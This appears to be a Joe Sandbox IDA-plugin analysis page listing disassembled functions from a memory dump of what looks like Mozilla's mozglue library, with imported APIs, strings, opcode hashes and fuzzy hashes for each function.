Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: b6c64fc54756127426cf8d7d13c3dbdb27662ff7d37c8bcbacad52a0e46468a8
Instruction ID: 28d535ed19dedb1e3d77c7a8723af34c3718bd1020ebb6a41d4ff3200f381c5f
Opcode Fuzzy Hash: b6c64fc54756127426cf8d7d13c3dbdb27662ff7d37c8bcbacad52a0e46468a8
Instruction Fuzzy Hash: D6012470B00281CFDF10DFEAE994A6237B6E78A358FB00526A90192B40DB74A4199E1E

Function 6C61F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C61F598), ref: 6C61F621

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61F637
AcquireSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F645
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C61F62A

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 96b2eb0e6944472878cc3ccb8998f5b71c573a6a4ddaf61b3cb037ee33f35c1c
Instruction ID: e9c3139e3397db96b04a70193834cb6f71ab6b7f953169b8750f6e3d7e7367e7
Opcode Fuzzy Hash: 96b2eb0e6944472878cc3ccb8998f5b71c573a6a4ddaf61b3cb037ee33f35c1c
Instruction Fuzzy Hash: C9F05B75304204ABDB009F6AD88896A777DEFC629DFA40415EA4593742CB754805876E

Function 6C6105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C60CFAE,?,?,?,6C5D31A7), ref: 6C6105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C60CFAE,?,?,?,6C5D31A7), ref: 6C610616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5D31A7), ref: 6C61061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5D31A7), ref: 6C610627

Strings

<jemalloc>, xrefs: 6C6105FA, 6C61060F
: (malloc) Error in VirtualFree(), xrefs: 6C61061B, 6C610625

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 88fa90612e95f2b579c9fe2d2192ac2b9b44ad7233cde9d5503e6c94fd25d721
Instruction ID: d66d522407a2ebb6d6c80db0d5612696a493e0f9069b8c498a99fab5cd0415b8
Opcode Fuzzy Hash: 88fa90612e95f2b579c9fe2d2192ac2b9b44ad7233cde9d5503e6c94fd25d721
Instruction Fuzzy Hash: D1E08CE2A0101037F6146256AC86DBB761DDBC6138F084039FE0E83701E94AAD1E51FA

Function 6C5E05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ed82d46266d3903c96cad65653aaa697a1e5760911ee9a286e522616d94fd37
Instruction ID: ed9e6a698bd1da4e4f3a66b31c1c6b30059c5f57f66f84441de033bf4d90d32c
Opcode Fuzzy Hash: 0ed82d46266d3903c96cad65653aaa697a1e5760911ee9a286e522616d94fd37
Instruction Fuzzy Hash: 88A159B0A00605CFDB14CF29C984B9AFBF1BF89304F54866ED44AA7B00EB31A955CF94

Function 6C6314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6314E2
GetCurrentThreadId.KERNEL32 ref: 6C631546
InitializeConditionVariable.KERNEL32(?), ref: 6C6315BA
free.MOZGLUE(?), ref: 6C6316B4

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 1a088863b516077379ffacf8829b664c9d39132139b73c5af2b7d88e679c5b67
Instruction ID: d3a8588ea1769b3b2b8d3cd5748750c0818ddec98c81ad5dc63db1717b30db71
Opcode Fuzzy Hash: 1a088863b516077379ffacf8829b664c9d39132139b73c5af2b7d88e679c5b67
Instruction Fuzzy Hash: FD61F171A007109BDB11CF25C880BDEB7B1BF8A318F44A51CED8A57701DB35E949CB99

Function 6C62DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C62DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C62D38A,?), ref: 6C62DC6F
free.MOZGLUE(?,?,?,?,?,6C62D38A,?), ref: 6C62DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C62D38A,?), ref: 6C62DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C62D38A,?), ref: 6C62DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C62D38A,?), ref: 6C62DD4A

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: d28f11006c0814a4f7722d1018142fd94d48efe222dbb3e5f9acd28aa3afaa18
Instruction ID: e16347947b816e5f670005d670e10611554a768339b2a8b7871f003463f447a3
Opcode Fuzzy Hash: d28f11006c0814a4f7722d1018142fd94d48efe222dbb3e5f9acd28aa3afaa18
Instruction Fuzzy Hash: 8A417AB5A00605CFCB04CF99C880A9ABBF6FF89314B654569DA46ABB10D735FC01CF94

Function 6C60F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C60F480

Part of subcall function 6C5DF100: LoadLibraryW.KERNEL32(shell32,?,6C64D020), ref: 6C5DF122
Part of subcall function 6C5DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5DF132

CloseHandle.KERNEL32(00000000), ref: 6C60F555

Part of subcall function 6C5E14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E1248,6C5E1248,?), ref: 6C5E14C9
Part of subcall function 6C5E14B0: memcpy.VCRUNTIME140(?,6C5E1248,00000000,?,6C5E1248,?), ref: 6C5E14EF

Part of subcall function 6C5DEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5DEEE3

CreateFileW.KERNEL32 ref: 6C60F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C60F523

Strings

\oleacc.dll, xrefs: 6C60F4CB

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 729a28a217b96509a232a936e05a4416240e1e8f8fee55bc0b86562b7ff41e59
Instruction ID: 384c15f8780953aedf03170b964e14deab5fa83b08a9843a1f072363323bf9e8
Opcode Fuzzy Hash: 729a28a217b96509a232a936e05a4416240e1e8f8fee55bc0b86562b7ff41e59
Instruction Fuzzy Hash: 6F41CF707087109FE726DF29C984A9BB3F4EF94318F604A1CF59193650EB30E949CB9A

Function 6C6374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C637526
__Init_thread_footer.LIBCMT ref: 6C637566
__Init_thread_footer.LIBCMT ref: 6C637597

Strings

UnmapViewOfFile2, xrefs: 6C637552
kernel32.dll, xrefs: 6C637557

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 1ea36c8de006dba4e7eb0e9e06140bd852ba366235e53109642a40f924598a41
Instruction ID: f2b301edadec729e0d011248f791e67ef0853d4af03da62c7ee9699a809cd589
Opcode Fuzzy Hash: 1ea36c8de006dba4e7eb0e9e06140bd852ba366235e53109642a40f924598a41
Instruction Fuzzy Hash: 7F212831B00511EFCB18CFAA9E94E993375EF87375F642128D40957F80CB21B81189AF

Function 6C63C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C63C0E9), ref: 6C63C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C63C437
FreeLibrary.KERNEL32(?,6C63C0E9), ref: 6C63C44C

Strings

NtQueryVirtualMemory, xrefs: 6C63C431
ntdll.dll, xrefs: 6C63C413

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 70f9934701895da25a316816408451823ec6fff29e62c3f8361709e3774c90b1
Instruction ID: b5787da28db8daff1a76c1870b7165bc33c1f46491ca1c9b881f45f0507faebc
Opcode Fuzzy Hash: 70f9934701895da25a316816408451823ec6fff29e62c3f8361709e3774c90b1
Instruction Fuzzy Hash: 56E0BF70702311ABDF00FF73D9887157BF8B746344FB49115AA0592711DBB2D0158B5E

Function 6C6375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C63748B,?), ref: 6C6375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6375D7
FreeLibrary.KERNEL32(?,6C63748B,?), ref: 6C6375EC

Strings

ntdll.dll, xrefs: 6C6375B3
RtlNtStatusToDosError, xrefs: 6C6375D1

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 417ec3450ed385c2e0222ae667c21a7d06b50f2709a9b34af3afbc9efcb3060d
Instruction ID: c84e2882012b6107b0a408c293292c8ce0eefae6b84fd48a965dde12b1dd6ea7
Opcode Fuzzy Hash: 417ec3450ed385c2e0222ae667c21a7d06b50f2709a9b34af3afbc9efcb3060d
Instruction Fuzzy Hash: AAE09271700301AFEB00EFA3E9C87027AF8EB46358FB46025AA05D1690EBB090528F1E

Function 6C637600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C637592), ref: 6C637608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C637627
FreeLibrary.KERNEL32(?,6C637592), ref: 6C63763C

Strings

ntdll.dll, xrefs: 6C637603
NtUnmapViewOfSection, xrefs: 6C637621

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: bc880372e67fefc427d69df5a3e569c2c6b607ba5c63374015480659250bf6f1
Instruction ID: 732c40ee2e6c1f7fda7bd7a03ccbd1042890e96ad5a08d570ed886e47afe4fc2
Opcode Fuzzy Hash: bc880372e67fefc427d69df5a3e569c2c6b607ba5c63374015480659250bf6f1
Instruction Fuzzy Hash: 59E07EB0700301AFDF00AFA7AD987017AB8E75A399FB45515EA09D2650EBB190118F1E

Function 6C63BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C63BE49), ref: 6C63BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C63BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C63BE49), ref: 6C63BF38
RtlReAllocateHeap.NTDLL ref: 6C63BF83
RtlFreeHeap.NTDLL ref: 6C63BFA6

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: ad34ddab6004f5b806a5ceabec706b5f8343b64fc2c90cadb5f8071641e7e504
Instruction ID: 597000c965e36422c5b071eb85c8b3ed2a1dcf72da6ad7c412a8b4fa33502e5f
Opcode Fuzzy Hash: ad34ddab6004f5b806a5ceabec706b5f8343b64fc2c90cadb5f8071641e7e504
Instruction Fuzzy Hash: 1D519371A006258FE710CF69CD80BAAB3A2FFC5314F29A63DD51A97B54D730F9068B84

Function 6C628E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?,6C64D734), ref: 6C628E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?,6C64D734), ref: 6C628EBF
free.MOZGLUE(?,?,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?), ref: 6C628F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?,6C64D734), ref: 6C628F46
free.MOZGLUE(?,?,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?), ref: 6C628F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?), ref: 6C628F8F

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: fd69fd3a6c9a0448949fda8cc24dc571f3960b15fb4cbdf40e564f48b04f52c5
Instruction ID: b4b6c552d96cfe9a8afea89018f97498c90438c2c82ac7fb278df842663abc02
Opcode Fuzzy Hash: fd69fd3a6c9a0448949fda8cc24dc571f3960b15fb4cbdf40e564f48b04f52c5
Instruction Fuzzy Hash: A651C3B2A012168FEB24CF54DC807AE77B2BF48358F25042AD516AB750E735F905CF96

Function 6C5D4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5D4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5D4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5D4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5D4F1E

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 9f1397695a00a6588509fa6837239552ae9d3cc932007e9596396b654866f172
Instruction ID: 3b9be1349fa4cc35e70f166262f08991ce4e116c9b18e0429c1677d518af90aa
Opcode Fuzzy Hash: 9f1397695a00a6588509fa6837239552ae9d3cc932007e9596396b654866f172
Instruction Fuzzy Hash: 7A41AA71608702AFC705CF29C88095BBBE4FF89344F118A2DE5A697751DB30E958CB96

Function 6C5E1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E15E7
free.MOZGLUE(?,?,?,?,?,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E1637

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 9abf812ad9e700267ca87e6f89cb861409f25deb5fe180aaea118ee7e18acef5
Instruction ID: 9327efc8962e44238542fceba6865303f681ca388bc4bec7196521564674d6f3
Opcode Fuzzy Hash: 9abf812ad9e700267ca87e6f89cb861409f25deb5fe180aaea118ee7e18acef5
Instruction Fuzzy Hash: B931C7B2A001148BCB18CF78DC5046F77A9AB893647250B2DE427DBBD6EB30D9058795

Function 6C63AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AD9D

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AE01
GetLastError.KERNEL32(?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AE3D

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: bc231b7c49239a1162591f09406ff46b260bfc212b4fe37868ff71e1a05d6547
Instruction ID: 30de6af62aceb5e96d6b581c89fa9e4f16cf3bea232609c2ca3026da4307613c
Opcode Fuzzy Hash: bc231b7c49239a1162591f09406ff46b260bfc212b4fe37868ff71e1a05d6547
Instruction Fuzzy Hash: 253184B1A003159FDB14DF768C44AABBBF8EF49610F54842DE84AD7740E734D805CBA8

Function 6C635EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C64DCA0,?,?,?,6C60E8B5,00000000), ref: 6C635F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C60E8B5,00000000), ref: 6C635F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C60E8B5,00000000), ref: 6C635F7B
